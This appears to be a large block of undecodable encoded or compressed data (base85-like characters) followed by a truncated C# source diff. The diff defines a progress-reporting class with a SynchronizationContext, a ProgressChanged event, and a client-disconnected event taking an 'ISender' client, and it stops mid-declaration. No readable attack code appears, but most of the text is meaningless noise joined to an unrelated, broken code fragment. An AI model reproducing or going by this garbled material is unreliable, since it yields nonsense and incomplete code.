z5mS&qfuo+eMiA4j%@6(!G7h^aS)Df*Ix2IV@zJ!YN0cezjN`CPG6>}H{Be+V zg5x1Ru+O!=$cJ77@n|$PSy49iNgcOo=vxN=5XMmu3RtE79cG{UDW2+yIl5izt-;bD z>PHsKJF{?Ssa*f#O1>KbI#?<&tCrNY9dsSEeU2K;QKR*8)GnbE8D%bGZz52CXrO*{ znOiAsB;bggkAV~mRpPsh?{eb1iZ2MA<|L=WeDfz69g|pf0~Hck&(Q^T{6gq(ETjnw zV~m0%wO55+?L!CyR4>wua=r^Kk42zb*(n#wVjy#&Smt;M`$7Dn29vIN5fk@CJwuv{ z-8OwHomixx*9cL4>x(~~-{3XQ`Xa?(fkMe6xKdwgWnkm9mprY2?tCYB3~Mn(IcC=^ zp-eIIX~SFmZrG?a?+r9|VRWM?V1&OewMWW#^OB?m1RF%(@g8MH5Kv~())#PeH*Vs? zSr``Vwm4fr31r-HI>!H@fwI=L^`kj;CgwxE5=v2E{$7?tk@oBYXYZGI^seH^(R0&D zi`pblXGP>_qp>fK@dVTF3S^=#O)(NbE7CO>LF%FdoREX@F5~K=ok~a=9-iV%MOLsv zB!!?l22k24f1tvc7C_;wN(Do*l;tr>VKm1SMQdc0bAiN*LoTDPA)(jG}Vx79IRr0cMB+Aaj_Y574xSWEWwMRZr&idwazR@;hNEwYfn zP^V*zmpd7Ct288bj5k?JoqP}3C-e1ynfIcPrZ6(dqsV$rOOU(Wr`kHqX9K4xk#TL& z$q=&<8L^&h!+O%No@~QX?O~wF$)KT8 zA-woAwzg|aTObGcwpcBsHNL^3F1}$hXxvbR4Dz>Fs!43ynIc}&P7V~^5&D_Jl!FIQ zq@Y!}U~~oR=f{2HH5!`mBwJRLFYQ+AKg5o<_KOm}my4AHgQ4T|ER9QdU}I>~9q(5f->o#hS805|()a+&AtsY7)(K(r zTsX(0W7734rY2X--BOc@xI|D?lY`gPWF_5*HG!$Z$-uH7HB(F0)~5;LsO75!TD_(} zND!m=7D4(024c(*C1*McZirEGB4_H?{4r4JkQD!Z2aZ@SpB;$K@Wp|USkf$s!pXq! z<;1gC5}DCm!M)}i1lrMS`}{ztrtykCm7pcM7><9w9L@gG?LRdjkywAt;OhpzVbIJA z_3P%oVel=3ZyS`zsnkC(_+5kFGx&XjKM-t~`KPhPL??*YvL3dl>z?v6vK=Dp4uXIf z@k#9mCR#?V9O=oG`l~2+R$z|_7Szz^Dvcfs*>tByv_{IcN@Ekeik^2BV}VXd3x&Sh zg8IY}oJJo*2(60sxi^}8nCNg9EAYA83~FdN_| zR9RJUM>!ZIHHz8`XHP-6i+n1!C^9$+XyXTVM8UFa76yb zm`rP8i{p|)_$7s8*c&hw(z#jWtS$Zuw6=>Ln+P^pvfPD1SqIBR>NhK#B51tIp#kJ8 zp=0^7O4d?}e>^bI+H*ar3(|=kj(sn|SoVBSZd{32<|H&t6Y#Q=$$-kV1!4%RX8uHt z#ueHPVq=k>%sxufxP%-gRwe*ej{I#xq_#_29rI9){@B)^RqFb)zTIO*?BVzse|c}s z#pvrQ^*?8lX8< zuu9qa>%dm;-CDr0yd#4woU*JIRD1!aRYR}M$(YVdQR392tbj|lsxR^4Xr|CXC}N&a znFZ;Ajt*Kn4DSPu8Z&1d# z4|=u?h~|j~MDH;(=JmvYDtaqNv>llz5H{G3(m}Ev1zx~LC5iSCq;m|+PYv!h5!daKl zDzl+e$5@Km<|$}Fs(n($6wF*}U+6$pw6#>Lo=FlA8tVyOtA|%yc=wY%Q=g@M?{z%z zuWid##>3w0IK(9VxD;>Zd5cV%q_PQ3SB2MCg~J%fa>R`c^F+q+9&5^E!Z;d~DmF5X zd3+bY78oZTB*qCwZx}Un0H-``md#e8K`zl-SU6$qwDJ&X)+i2QBiUQ@lZT+#sNl6m zDJfzcdsRO+0rtZD9;AtgMT4^jCk>j$+k7XQQ<21|qN$e2ynio^0VIho+dNG!UTKiGBE#6dGeKA!U2T?+4^+hA+TfU@(M}!2X z!AQ>FHFBbuzh$E5t%wI2^GD!8%-U8pYAHM#wTMTfW_V1li-&}Q4I_^SXT{(j@R$Sx zgrALd&HIu6S^=6uEN@#77$p7!)(U&AZrxT`3=)V{aZ;F1XeXR_h0c%(o}@4atB_3w zggidYcr0wZoi?gyJYCp0OlxPTc;1hwzhQ@V%%!tE=8*lpv0L5o0=vwduSdrl)R~+D zKeM@KO4&OzuK$VUxgl8$N)c+Y42^y@O@UsO6syQzCx>M)brCv zh?&@t#%Y#Dm9@l-?W9zio04U=X+ElwH?zZ9o-+lSrgSz=HgmtlR{H`PKbqCvP5Ex1 zZFv?dPjCPZyuaL!jas369_o4tJk^=9$s0)nV>`&}Ge^d1!HgD;6?t zsWhs1uB;)Q$?rRpqht2i z?S0ki&MMgGpO4?MZO8V}k?kV{_!M&S+qHXS$L`&`cFk^^t!|$lo7;I}ZhF`Bwz*xS zb7Qk3)AKVkySLAcjqMoO&Fz&twt??hb$Vpm%0q2`T5;5yLauLncKa4Y;@O-xgFJ=b7M1eW7}qDcbursZ{Ja! zof)al?cRQ3e%svK+|2ygE=V!DYgctDd3MZJM|RH6uS4O3KcVnnFojRR!$(s*{5Y4pF8_p!|3bNVEsdwRsQM=~{tJ~9 z1>Pc*D0etG*v`MZb?ka7d)qH@ozJ7GtCYE)>Fl%1CinR&{@?y*PbjhS4iHv-I_Ihf za~$2CIQ&O{{MV2D%NPIPv6sGF`t+Wc|L=E{W#(s(GM}GYK6-F^_2|Uh^3z<#espo+ z#L=0#nT5p%PIFt~+_|G?PyFi9GhBEydaQbkTeau7vok%!mS#_=&i}vuTUpE{sQLbL?{pb^v!OIFi`SD>yh8_+F5x~WR{ zpCq?bS&G+lpygJjINppw_%Y^ z7Z&IP{^{GMRDBge)XLv}35k#2%FRbx-A;bKzKx{!mpjZ+&l$TWAi3yZ-FlKMNGR|W z*KB0C2826(EvN1zTH=}oVSJL<71G=sHspSn!M6LKU{S92Y@IhBjv|775R&l5fQSSL5akgFAk+s8$p8bBIbmjkyaGvm zT(xSYK3X5G&$ilYTeaG1Z*8?z>a(q_wOW{+L3+^l z{J4j;WzUaWvn`Q{45Y2C=~#cHH6rvkI@ha*+KZI)p-^cJJDwnjb^kxF0|M4Q^unRG8O(d{uLOng6wZ^36ix~nZ6Pg-CUUEe?^%lZPo1)upu3kpz4{)Fv{ z59_9rn<`<9%eD}~ivLTWlk{j6k-zyQeIG=)norh^AxT`SGJwL}T)Jxr3cB>_Of|TN zJj{wBOyjGAqeGMkNg%`R5F`Nt%;9RDrK?1=0`_VCF6v;iUNgj8N}5%JdM4=mxbl_~ zb=9p}R&|aZt-}?if-DR|ooktm!+)3_9mDKsQM8^DH|c4#Y{0nkESSp`Z2(O&Acza1 ziBfKYZn&b2TtHGMaq4ZOHIN>Q!WjVnUfoDf1Y$*isIo@-3?__Y0!v{TCv(X*q}(u1xc7{(QJMLzuS!-LaH^aH1`+%Ra(L04;u z9vz>peq?|%8_A|5VLc4N&*C~NeGevf$J24BtYQWg&+wKSPdaa0tC^4g-T+v zB8WQC3EW(&n4;5cv=N>WG6n-k_|2A9Rk*n^OPuGF7c9l^@lbtMTtE`hM2& zXf^ynw@!s%eLw3MjUpM-_p^E`4V$`Y6YAqndKLPh;VQIOYpPaNUda;fXsS__NYCHV zRI3!Qu{vd{JDSF*)?A6EX?HZ$tJW)~D7xD({Rd?@{)P^~6q`zY z(d&raR3nD`O(tf2!KD~0u-|Ii*Lq8=cl z+cT<+)N_I|V-8^W@pv4T>zD%=T!P9K_N<@cqOanLz6z-TGmO#i%Cy2r!x*Nn0}P^@ zF@~%*&=k6+2(>07!#`64hJNL3qvPev7$hfRLF9&{Sj1!o@lb03A;nM!Qb)=*%HP6e8(wI1q>ZP!vJh zg!_9<-LTqKfqMAsW5`Fu3?1NBTCqpqo){+yTTIg-V0%7S6L<81OK` z%#Xd6@#zMQ25M~o_gHgS&(i_!h%N`G$AUd`t$k#4YmYRQh!3>X%jGASnDppel=fC< z5ZnCLJb)uK)*n3+iT3#jO&YpIrx|qiLDhDm0A2iPYJ#U}+@~3|(~EYd7eKG*d=!hk zgJGQMK+11e3vdZcIz6mK7a~>SwHD!0J+;|ubs}Lc2FQ+wC~FB)rQR@Eu&2MmrTaoI zaRd`ZyFhCF4jQ8!twvpT*EQSy(m+f5ly1|Mv1L|iwh_z&{t4(rj#Ty8+3_> zV-8>ra*3V>!Hp&U==)9qkpqxX5PWu4fkrBDeVlUWisRJB)Q_$& zU#_seW6CYad;;z{%uS7+i&XPj_7oZUE1EDg4s>oyJ>qEy@f9;mDAR)m4D%?-V7&N; zBV2YZo4GpB{wA1B&rQ}k;3b)J0872rdR(jx02QuDlS3{GRr)L3A-9DZ{i<)L*Z6Ea z@2u8&$OilQxU@cXq$K2O@c@-5;j=CPwR-A+*TUTHw>AM(n3K*5nO2OGo{+~v zv(ai91({xE@g6ZI9H~3N>W92Os}D38`ysCtM;el(;;*7&6BV1PVo%NbfXBQ#ab`7! zB1<5)kA_I4(-|~(kFyMZh^n6@10hb+>1I0TUmbcS{iReh)L2!1S^}F&#WFPglPVEv zcxVQ6PZS!MQVD1>=6JRqtf-$`WfB&?&C#Od{24z#y48`;TzeJzQuB*74Qm_d zRsx^|tUlEHKy(I^ff>apF?kWs{oniv71vry)fMyRAfz{sIe;~k zjDKEF7*Gx6`ov( zV+G-<(X{b`_#{C{#=cJlq9=~{eJz;uB>v@Qy&I2|O)#r7yP>Ztfo{bZib5%xOJmkK zG2s-N-^)`Xe@x2kp|WFQ5X!iY6N9#+!2eDRsz3~yk6IC%@-ayH>tpHpYWLKNs-yc* zksp?;l2D=VVRed+O;m~1mOo9XwC&%|V#$^H7@ z(Rjm5pJiYpdl$6BC}St{S^J?t3wGP$ayD%UH0uC>L~9EZw%L9K1nB$N8`U_r4syX+ zMWkVnDqK=1z8GBVdkR!o{w4*(vK%u0&|}J2X>po*_GAj^a5Idqwmc9|=rBntc#`%H7{w zk98YXpH#tqBG$lyf)|_r4U!eXP$tuljCb(MkaxuIX)(>{IAxV8O&tnFh{#6<}P!XheGo@K17Hj5}JAjUEm*@%v7lBT+srx zPnX039o#+;g5a_EikPs0l5hX zBGQx@eEo!88T~xU;Xs7xP*=!fGFO3n?@M;B5xp8{i$8sZ+wOB$t3UmKgP_z*F6{WO}~^E^2@vsc!w$GZiT0cW=uhyK~JvE2$FW@993uZMn`MwCZzQA0EWE-Ut`nkXU=0x^3v#P3!I6E75tZnRWtA3 zT(rZkW960_1}n7M8Kg#Z zKIlV2MCLrs#1-a{D>CKUVP6;6*M;_Vk$vstE4R^w0m2_gzN^(Erk_-9$WXCvL3I{- z#y`Y$>8@6z3UhRthfO|@{mVbZO1KcQ3~75lSH?=6bt`yUjhabX_0W89PV(UJnG@jW z5tQdw(zpr8;?a}O8sY|l%A+SwRpaP3kzYMYs~O_vf{Vvgo@_ zAb73+j?5;1%M??c@aH^EVtDjkVc ztZxFD4M6G55Hi|<8%3DkG{;W1z6DO}VE`Pd%@M46>KxtUAd(fGkNg~|M(LtD^AY5z zP1I6oF{uKl9LzknJ5NksS)hWxkNISzfZmzm39rWo7g$Y{H`^+HPk42WS>-I;oj$Zc-x*f^SIAT#9V;j^P69_nGxk zutvdeHh)ryG9U|{%CexBnfWfu`W}ESYdmC~1X+f@kGo6Hd=gv`=`v6P%qI{DzhRN+ zyke1}ALP+kk(s&JmgWZYW5v?)ZH23`F!a2c0h8Zy<=e`#B9K+BXD(B+q_K||%evHV ztP8D$r?NCSgqZ=G-*U4wwj1Qgnidjx>CDY^2ibH#D3-=&wcEfuj@y8neP;)qn|;P$ zIWKz6*7EcQ5LFHg@84@!5aMqwF)VQS)j_^#?S|mNFt3+SDnM{tKZFbq?;FevqLsN9 z`u*4IG_5j}Z7nga0IvUQbq=GQCm*MskbK;B{-Zi49ox>x(>jis!pAn+w9>5i6EK*x zAJ+Q6X>+A%7ST?(u7M)Z!JyCnU$DnBA8n5(*^zwJRaKcOtd+7-wRM=ygz=@b57Q~! zXM-3Wd{5Pj0F4M{;&$l+M$4%x$QUX_4WL*{Sj8JdqE7TSmc;i~KVyfnQ$bLXNN%vk z6t_xCoN&{pP$yzVDDxZC<2P|zdMm<(X_))B;A%mnITTlveSF2Pb1%~{j$GzG=DE6M zvME_Mn%Hjr5cS%$qvqRSm-tm_Jq7xNNwp5U)U=N!Sx z5JD^rINoN<{B$9%O|18G$i~*ax+FqTBH6Q*x~jIfbxay>_^N$ZC#>he5in&<;j8vo zKVo@52AJUW;Gk!_YuYa+opQYFg5phq*4K5le~8}7TFk@t0nrw-Ve~tqm2)p_0(7dx zjjvn_5EOQS!?1pWDzghPKl+bM#Eq~QfDQ_3w$^yO)=zk9K_eu*)gA5SDs807orj!=}&A^=McQ^#@xa8s6)2iwt^}e zsBnhaUJrO?Ukyf&bvmqbAs_D>?If_m5x z|EX~Ku5M`v0otyC8Hf#NL~C?PjG=+lrc zYi{LpM^2mIX{vcCFm~G1fTFy95W>=pW%&i2U9l`r?VHL+4y9u!;J_`pyHSTM=J}Rd z`g$;?Zw8Rnd&r%B6=~dC`z34gDnNy|{o5KE;I&=@mYsukS+D0ZeeHWW)0fYz@Q3_q z-0>+`hgSsBbs!vLs!%{#sJ@~k6wvqaDlSwaTgutvAytQc3Jf18Sg6;LB zEDU9fR#6%%wT?jD*;q~C$aN_MR0MSpe+6Q6J^<2h;8L(yy|ti%P>^?Ns&mE0xV6Sw zgi33yH&M*`CkEdDP|Ep2$7yJxaz~mbq|f+=Oq9MBJkFxMsQ!I2E-VB=^GFt!KOc3^ z*?ScCE~`Sm!NusGin34{?r)Z<8w=<;VVR>?yvJcV(o#{L{=xB-3Y9C99w`ij9f(%^ zL4@LSIr=)jr{TKl*B0V0CaMetS3AAFwxv6848^sDfF9Y_^${xE$yXwT!zH{>0< zlUD^=4ZbIXu+WynWljTaHoksl#D~wl&@b{yj|&$*zr=lxPE6w|IqZb-&=U8bY?{xK z1fEx7*W*W(_z4|TJ-DPERVq9JUIC`&?Rcsz=$r~;rj~F$Bw5&y$aS5)pEHIwqXdqh zdbuES87_I_isX3JkW=U$<+5T(xlcKt93(VMln+% zOALkuRtzjHf%IZ@9Iu`5z+lY~)A(522hLS$O$V#XXViYf)!i0I-^FFIJUad^!_{rU zIk5<|6MOY)slZhU(Yf{FB)G6KI1UZA*NcdYyk4B9G?lep^92U46j^gapxmkk6Ex#F z^(d|_kdt`_y5R8@>$kX~E4f2k_yDa|QS6Ld{w(A_6onJ`qv&0~g|70OIIydpgzXYf zv&Uo_{J@eKMZfu@e{hO$wRpzGwEh{Cp#-$_7(+X7K}R8)s~+}5{{^`dYObomKx?Y@ z?As28JEHG1(X%fJr1dnMC8ooba#|k2r6k=3=vD2w(hUHK}?$7)y*aD^}1Cy8~)ur-)0v=B~inW=onOA8xX@SSw$I2^sbwZ7) zf(J}c3)YrW71 zO2buo?mvE3<|M?YHqjXo4SulC0(-zzHO=N)N9$73{szjDC#=i!R;6-V_h`is*ZcZU zk%P6`*zz-Z(der_GzU`%`S9S3E4*QE$g@j57;BvYa=x@}$=MZndIrYgXFZ6fQeZBXO#^yG`X)GtvW*%Z z1wmFEq`58gCL|8`u@bB0dC-;;xfm{M5N!exK7^;2<>C;>L|32`?lHRPEYvs|eWS}3 z$*}$ng>>0B;px>aD2fdV0t;wyAo{+o0=EIGHR6#nWHD-56_6D>JlC@nR(=y<5 zOOdxAX<;6e4<=jfoQ>ZM`20Zss!iv`1lN8czNg}gR?&O-zJ;%eFZz}5YwY~ z|KP(FjTHJyJFnKh8n|*DWf`r4<|aMhyBxPCxB3|_ z6{rU|eV3#k75J*~e8KmZN|W{rEED?6{_--D{>^to0Q6c;U*chSa_RMW9QGNyzS>Xg zYOcVoru!v#B95j_dcA~sD#HxFTE~=zGEVQWW_U+<1#16OJ;NR4KZ2YVKf_nOocl{+ z81vOu`RTiLEP1<>I=gbWX41dY3)-!8u#(&L&(O_J^Xi_hG3jX^mztoxp!w-8<0jBQ zRdo|6?}Fb?FP1UoVS#@OJzMh)!g`o~Y|GgXJ^eJc{)$>Zy)QN15S|U)K3(y6Jzj`$ z1%rO7M{ba=uL}l)^g;#0j!K40tAjz49u=K`6Woou7JFGvS%@_ssQex5^K-Gr-DY`N zkPe5K|4a|}(Ri_yPh-tj3D12YPQN8~7}nWtbH*^-Bnjp;-{C5ThZg6t>jvEqIN(1 zXF1Ecx%|(%Ne3&K|8mf=EkxT*T0Dl+SDD=Q-Mj6dFN&;~E*Ou~)Mt;OvBqH7He1wSqMfM}u;D zq4vCr`G}B+d%(U6tOT>jAPplByWQtibkcO%CwcDz%L3ak*uM!jlZFNRmSCsRCk6Y7 zV6*9B!F(o{n?sih_GW{^E)%Rt@=m8K1gn>FXV8^`&9$+s1>0a_*9bNw*gU!x^_Nqt zm-SpspNEyo@oLO@6<)kwbeC{`w{|63w1R#pE&8BlB{)|iCU9W?z*q^+O~8zC<+2m% zq&|9s4CHaV>!djS2AiXD`kR-r1id5JSOmUK>ZjidCstIzc48EBIqv;VJURY*q`J#? z0ap6Pcr~gkZ3Mi&VI1JgI>T6KJm3sZ)N7hw(ptRhhHuj+1Af7roTE&wm=4MUK#j(^ zP6OQMY5{z=eim*v4}=*8%ej`jJxsrC48zld%s+^9h^`Do0nay12mE3^!#SZvfd5&s z0?=2}19-o89NlYq0#8uKjkY zLLQC&SUC*-9s1=t2_<8$L;B3>8v(;5cL286e+lqET>l+VwMDh=#vr%rTQy$?{qC9v z0jCPTf|U&|UPIbw(5uqk6~c3|*hEp31s;{$$#pF4b7J!iVzEi(E#B$Wj@d z{P*g(uA4>9MN<0(0$=rT*}BrlZ5`GPf2Qn7^vFgR!?caABy^ia8?+yL zO|hFva~obnn*GY8-`Bnjn>^-fd0Q*p@0+xty_NAzAoDbRv_O|a2-o0)wU90lE<({a|!QS-!%^ZVR zdb7>Bv0(|YI|aMMySJeV*u8e%!}=0L;0Nuzr*u5qO^*t8sdss(6$_vz6-KL3x1WBN z!=@q67)SW9X6?QJg%yT}-RJpAXpD{ZyFP<8+sQWeYW=xd2{q@+VfLVDIjkJm={ann zuaq|Du=R-fNx|6i8xhHO33hn?*R+lNB%gegt+8OTF}5`pZ#KrZ=D5WlW$Qe~w$5Rt z+?#cZkq(z~Zz{}?*0yS6B+sD3+HSMm*O0?9W|t3(PkcBpVV+G9!BAgmyV2tll|eaN zx)j*Sxx7!;_xMi9VP60?-oe~^N=!MeV!~l}yXOKQc6#zTT)L&?eQ%WR6S3S6315`H zlf!oUCef)<$)(z3s*&zFBmijV%Rs z8ogy>pRT{e*G{!!(i^;A05+SJ*;qs98s8imwz28JPN#3!*l#Ls@y(@g+t~XRcL4jo zjos+I$9D!jZDU{beihh@f*q>8rt$&bJi1M~=~~)c@=aim33iA!ls({^Pj_RNLUf3h z2Ob61&YKFnaQy9t2Yd^t)5h)kcGUiB>U?zORpjGy`z(w`LOjk;d;Euy~(_O_4x zY!S_fvdp)A>}Q>nv@!Ox#dMdAv7arWR|Hd9FQwlJHUeM5K0|JKu$~KQAMh=uHO(SZ zV~<=)4+}OzdrDqM-u_9PH$r=B-tu)(WsBluZ#|2Cp)enN>vH;)U?X&{@jKsg`ZvLD zKpWooVdKn;1!&D}SV8SJ#%)+h12)EO=%%}EjN7n^UKdPhy_#xyBL=OH)co1EnqC&{ zZP9u)&E?G*^kl79(`ABP>itU{`FrRZ!QR$b>mE99Ds#RqTCbx%!A59_uidwfp0Y7+ z!#VUT!ITBp)1L+7(P;YDQ(ziPxzt-yUG6`ZDs1dKfib}9ZR{t3vB1U)Ci9B_Jen!k zMP8%6$-j}#u(7iGNx&A{*h{Wy{!O&P#@=zA25h}x*V6OeGyE~SPp}*42d=aHar%*9 zDi*})B^%=i9j7A-gVqauar(1hhf!{&e=Gehm$%-(jb=>e7OA}LbhTjI+D-l)baz2s zik_MwZAadAzeO(#rpoQ4zL`#5+MlL=!Bk#`hI4tl{aL!EAa57Fn#()rzmPsC$lFUh zW;rrVtjP=8u&*d@KV^ke)wiGcX<_c8_L^^NLv&G2N;wS`NjX5DvpEMbj~%4jZ0s4t z!Gm(88T}@D!_J#jop#?uew+icOrFtip%%eL=&ykv`oBQyZS1x1*>ndzXJb@x zHr+|{=W)3as;mB~|1NsY#y+Y2(*H&3K2znr6?oJCCHg=xH9LKoD(7?F+uFU=zxCfu z9fBPuo~!PmZGw%^1*QM&zlT1wu`j#N#{1Bb4irOu>%4#Ue~s?6u|uV2(|z=yjhzkb z{#@QyfIUFn3skuu0Q*KRZyK-%sdk~t%K&?bt`qDcT2^lazDe)dd2i`w<888^EMZPH zi#|-JBGjXA(bK-b!_=O`!h!!mJqq*QhnV#kotw*R3_M0V?Yt{6a=uS{1XI2FeY!<3 z)tf({-`RQGn};dT#r2I4_vR02o{e#@Jd?w?SDwv{RPO2LXq9j(UwV#q+U3}np38A^ zzyFA?vh%qAenNNH*o)z&zzg)0jXe>b9C(q&pT)YU-h7D`*%_y*73$up{)ijg{fd?2V#wZ_rbA-fG-ke1oQ7>U3njNs9#I-s}mySyb-V zlvH`xoi7Rex+w20dd$wd6nSq!o`x&KsU>-MdJrco*jF;8u9VZ2zC5SmuW4Y)I2XgE zIOODAIdi^S?@)C5Lx|Jg3p3p%{DtWg)u`lOgfkzVt}$4Gs)eC0`WWzHru(sAcl1}K z3gOLI>O+E;*Xi}r7S*oXkT!5Kz-32MTsTAcD4B)wUlEHHQa(;v-ol|vtGSjYoQ~?G zNm~|aO!)zHK5>hdN_!R0v8_`wPo#q?du%CXTUE9ledk!Xu*XkCS9Njk>)4O8Reukg zxNL7x{xA?m3$ah^B$X*qon0!F006= zzXNOQbaF|aqU>-9{0+}iLqo&XS$W-3GtaqBdhIIog<+4KXQc0xZNGt@#hHwFQQ_Fh zdwa2kPed;)n{S=tu}8&+na8oV8Ve_a%2#o_6uqGOi+jqDo^r{Uaz@j6GVUG{-#(GF zLOScTOL`eF1%GG@kCiHDL#K9JDi9j;@s$p%2uQwu3th^_3zq)YS0rp!~MV(B}&O8i5JzmC8;%q3x?$rk^L2 zo!V1X=jxB+H<4m`pJ*~7^`0kk#_4Q<^JqMF7CW_XR1NA+gL9vr6wViPrQsEopVrra z{|3~>mOMmHOE0`$brAPC-V1&gb+K);c1v4~AL&_X(HhdKKhXChH)LFl+&1HKIfuDe za^KYFYV(bI=vx&_0I#TAW|W8}uN2L%6SxYN#2LKatzB!ptFI`z(b%AG58P^8Nl#XP z8E|{xtAOtXzhPX5_jSJv$od?jz2%P>f7BnX`~l#&vS&d5bMOZJFZv^%7mcUs8P~a* zW}IL77RqvqG~?dd-y63`jqmCysp~(gG?&j{|Jk6oGwfKdZw27r ztH-$NjIDYE>AgldJ+9Syr?{RLoj2$+8gX{7cb3c+c&_$GZ5XE=6Gi3=+Izv}t{1fD zvHP2C9Hlj`4f?&+8vv^sW3GuZ7PuD6^@_GOP(}A^|Kj0Mv$b}&>rKcv=}oOJSPpp5 zyu$S^DAxc!YeXRPPS=K46>rDEKl>LkLR_WJ~`@Hv?sBwMC z4*|ba`y60R*}2*V{W~SB$@aj{0DA*JgtY0}%dQ*g>4rC4cfm@n+6JRWf8X`Er0>m9 zYTOS>`a1%5qNT75@yYNl;<2}gr`;m`b-#9JNx%Dk?WJHE@Sqov_$2y%;!|d}p-Ddd zT>UaP_xm;Or?siZ=fFAO{ffIzpY44BaD45WC=~wljw_y`U;GNiF(_Z zIpzla(vr{6?Px`-c8_s1*kRs}G@_!wC(uTdo{+lkp}XM2Z|eV1wb^`vy3K7SQ!*w~ zc7r0L6%r1ZkKmV7E`{V&?NuiGHtzIltn-`tQF<7qzJ*fvYu^t(VR~si{Twh#zXY5j z=^01|={ouqD4(Ob9yiU^IsoSjT%;{Tda2e4xJ+B(@#1O3F2FU~3c&SR58!#)dcaNE z`G9?ZCT-I;117aN;DELbFstnV+^wYm_iH;nZMc8>OrQ-X<39ter+)=Jh5i$868TEn za2neQc)GxaLO+|%2Bk+R=L+nli$K{yUj@tvWgmUJL^G~Mi^d7;5V+9Al$gL?fg=Kc zAn?}$BW@`raK69}ftv&l3w+CSGvv(oGUq0N!vb#;_?W;q1kU&0NqXsRI3@U{`Ix{r z1X4iCmM|O^c$>h-1nRhNoAvCZt8gduWjy&dM_Z!p)t=J+u6gw@==bU`>+MFLanSg0 z#w*5u7=Je=xaPZ-xVE|uxbAU%-{p5Vxtrbd-D}+Ex;MMGx(~Q-bwA}k;(o{dFYcx0 z3iEpNPV;-FAM1k>%Jv96@RvQWNo}Rx46%kiVqteC*+TzRiG@o-Kec zn>zpxGzj72S7S~Nk|Gn{TGOCjpd?w-4meq2RXM#;Ez3=o+x!)4VhlphksqC8Ib=O zVrv67o`f}MIaVGnQ2lr^$BSLL3Cco1{;eYqD2wnd#~o}hC?(P}i@{rtXN>)zl!6O) zoB_SG7Ww704p2uwm4aRl=%sUzUry@*b*%QvK zSbGENG#B@kH2juS6VglZWRr%s98N|0ELcdRv&BwpU=^Jw&@1_pGYhhO%agm<_xgPe@ zabDR4_*vAfBT_C0yb;eL=yVgU0{kLklTKfPU3L00tcblKR?#|EoaX{QOXs5}YthCg z=sF9(*yq(E+AZ1_wU@OS`f5F?U#dTe&TceT8=o-VH{N!YxhK0j-RGLFVP4Z0e)zc& z94O>I&zX-4Louzqj2Vh)c%TNKlhNm=U>uGYZN||ATu;UK9QqNyf1*8_+r3AdgYQZ= z^V8gUy&E?!N@NC-u{{fuu}o&_l#Nr4rB0uIJZd`=+j@JmR(js%jT@)VW_&?>Ya+Eg zp2@_v#=BD4csdnJa;}rLFddI&I#YxF@pNo+GQNqi zorAHgjjV}fc7WE=n@w0LBszD+Q`x1lR9`Zl7G6~nssdY<$YgO@V?n{`(`ZRNs}jYH znMR8TQ@xv}(V~P%jivVhS!1mQ^VC_YG_HwMZ*s6N-qpQp7Hy4ZH?Cc?xE&UpO>>u9 zeS^vPJer%yqRI0lx1(oaR~Pl{$z0^%0yayEvZh z-4^eo%;3O4GJ%9R2!5@22hv+%yUrAMXCKAwYe$mH?_tTzo$1^?kVxCSU73Ye{{Z_8 z1fpyqo+!xciKllZdgGbZ@!oi17np717uray5KAWZB71c_GnmXS#IIAYu(BP4*=<%@ z=sociS^`CIiS_kuToh-qi>*Q6>3F}jD_%renJQ#Z3NDEC?%0}^5=>Yghwwfc97qk= z$$mxYiO15t+q%(h$X*f8UTCFvh^e;3dgCxdcRH~P9tE?eG0=JjmNNrx;Ys|Iqm!-eAW+U36a}PX^exD9 zqQq!L9hQC-@7W1g$5LD4#2Uxa@y^}7+XP3L>q_micEnYDv(wyZ?6hlm)Jw7DlIc92;NgAb;aF!WI@ortBf3!yC&?ap3+hDdFWm&%AeC%!p{tC4B5 zbFbub;0DkohdOgzj*zy;n8;rjPj9wR7mr>ijbSRZg-Om)UJXMC-_8;{BVGd)6efg{&(# zXDpry^M!Ma=~!R9KbGE+&sq~p!&?^PFEhk>X31wbWfntaSUiKsozLuv_YT7A_F!7- zPh^VooPuz!Es3pzD(L5nI@ycjncj3_fM;qEk+Q@z<^ zGZtC{d(w%m+X}K4F6)twVE4@zfSbhnJJRXco;=Nw&g`*NL53Y>gq}@oP9)Lve6a<4 z(1XikyVvp3jAVhvqn#HR;;(1N;{zQ@##YPH04tro`0kZk$c{{EVT1s!<}XfUWYXu9 z&0}lOX7>c=@F2IBS(0|*vO|-Ju6RXfuP{e*Izw+XJu|BGR<(L`D(F|sMCIM;MHeiD z?F5Flo$49nl>}?N%u-sfi0{Uv!^;{<<&%q(gPCp8l4bGK)~rg}5z3};lZq)x#fkx# z&SuU@*rmEMSiM+DjI6ck1X-K6lZ@$wv1D>HmR*#=(m&ppLvu@<9EC$`4(WA@@xFo} z5x$d6#FEFX*JW9TEe>bc5idtN-d5=N-H|H-DMgceVMfv9UYG&97c9SXIatUILNVKb zTdZ_HFW;8Mcg2&$jYSz+Zl$a?*rKfui0yY+V4>S$eSBqy!@$d0y_S-cL-4m<6jix$ zw*>~~=Dtc>$+hVu_2!eDW6w?nL4cX;dFuGo%qTKi>dY1Jw0NxFHs|X2&cS$wy^m>* zZx>Tpg)Z#6#2}JbH5ea^uZ05V@cNpwlm%!_I>C|$`^g&ExD0EXHCV+E&(TbAE4U8#KD5==7}#`YXHk8L1(C<(HndjT5f-IdB=Mp>aOvV%D#c>$BdY*$%= zSJ!ykqza9STj+0$m|UhkeW)Ee8x}!Ab{pIvr)YeOy>BI6KuL7X@6$f2*#%r5VSoZI zELfIeZyCpK#MvtoXjrkvWrC7D-r5v89!Cg$d9uCLJ5CPUtVg0uo?AtoJdQ187jIgz zD8yo*h~DGun(|aT>gEX@>8&^bNo7|ICX;z825KJRWm__l-+JY95-A)6~ zwAYcHr*MM`2B5f0A + /// The synchronization context chosen upon construction. + /// + protected readonly SynchronizationContext SynchronizationContext; + + /// + /// A cached delegate used to post invocation to the synchronization context. + /// + private readonly SendOrPostCallback _invokeReportProgressHandlers; + + private readonly SendOrPostCallback _invokeClientDisconnectedHandlers; + + /// + /// Represents the method that will handle progress updates. + /// + /// The message processor which updated the progress. + /// The new progress. + public delegate void ReportProgressEventHandler(object sender, T value); + + /// + /// Raised for each reported progress value. + /// + /// + /// Handlers registered with this event will be invoked on the + /// chosen when the instance was constructed. + /// + public event ReportProgressEventHandler ProgressChanged; + + /// + /// Reports a progress change. + /// + /// The value of the updated progress. + protected virtual void OnReport(T value) + { + // If there's no handler, don't bother going through the sync context. + // Inside the callback, we'll need to check again, in case + // an event handler is removed between now and then. + var handler = ProgressChanged; + if (handler != null) + { + SynchronizationContext.Post(_invokeReportProgressHandlers, value); + } + } + + public delegate void ClientDisconnectedEventHandler(object sender, ISender client); + public event 